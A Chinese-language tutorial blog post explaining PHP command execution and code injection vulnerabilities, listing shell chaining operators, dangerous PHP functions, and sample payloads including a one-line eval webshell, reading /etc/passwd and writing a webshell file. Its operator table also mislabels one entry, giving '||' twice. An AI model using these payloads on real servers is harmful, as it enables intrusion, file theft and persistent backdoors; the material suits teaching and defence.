当前位置:   article > 正文

命令执行漏洞和代码执行漏洞

命令执行漏洞和代码执行漏洞

一、命令执行漏洞

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,

当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。由于服务器端没有针对执行函数和对用户提交的内容进行过滤,所以产生了恶意命令。一道例题如下:

 

 

恶意命令的格式 

command1&command2     两个命令同时执行,前面执行不成功后面也执行
command1&&command2    只有前面命令执行成功,后面命令才继续执行
command1;command2     不管前面命令执行成功没有,后面的命令继续执行(Linux)
command1||command2    将一个命令的标准输出作为另外一个命令的标准输入。当第一条命令失败时,它仍然会执行第二条命令
command1||command2    顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令

  1. 命令执行的常用函数:
  2. 1. System:system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,
  3. 函数原型如下:string system(string command, int&return_var)
  4. 其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。
  5. 2. Exec:exec函数可以用来执行一个外部的应用程序
  6. string exec (string command, array&output, int &return_var)
  7. 其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,
  8. return_var存放执行命令后的状态值。
  9. 3.Passthru:passthru函数可以用来执行一个UNIX系统命令并显示原始的输出,
  10. 当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,
  11. 需要使用passthru函数来替代system与exec函数。
  12. Passthru函数原型如下:void passthru (string command, int&return_var)
  13. 其中,command是要执行的命令,return_var存放执行命令后的状态值。
  14. 4. Shell_exec:执行shell命令并返回输出的字符串,函数原型如下:
  15. string shell_exec (string command)
  16. 其中,command是要执行的命令。

二、代码执行漏洞

代码执行漏洞也叫代码注入漏洞,指用户通过浏览器 提交执行恶意脚本代码,执行恶意构造的脚本代码。例如我们最常见的一句话木马和文件上传等等。

  1. 代码执行漏洞的利用,出现这些东西表面她可能是代码执行漏洞
  2. 1、一句话木马
  3. ${@eval($_POST[1])}
  4. 2、获取当前工作路径
  5. ${exit(print(getcwd()))}
  6. 使用菜刀
  7. 3、读文件
  8. ${exit(var_dump(file_get_contents($_POST[f])))}
  9. f=/etc/passwd
  10. 使用post提交数值 f=/etc/passwd
  11. 4、写webshell
  12. ${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}
  13. f=1.php&d=1111111
  14. 同样使用post

发现一篇好文: 



(10条消息) 命令执行与代码执行漏洞_辰辰啊-CSDN博客_代码执行漏洞和命令执行漏洞

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家小花儿/article/detail/613136
推荐阅读
相关标签
  

闽ICP备14008679号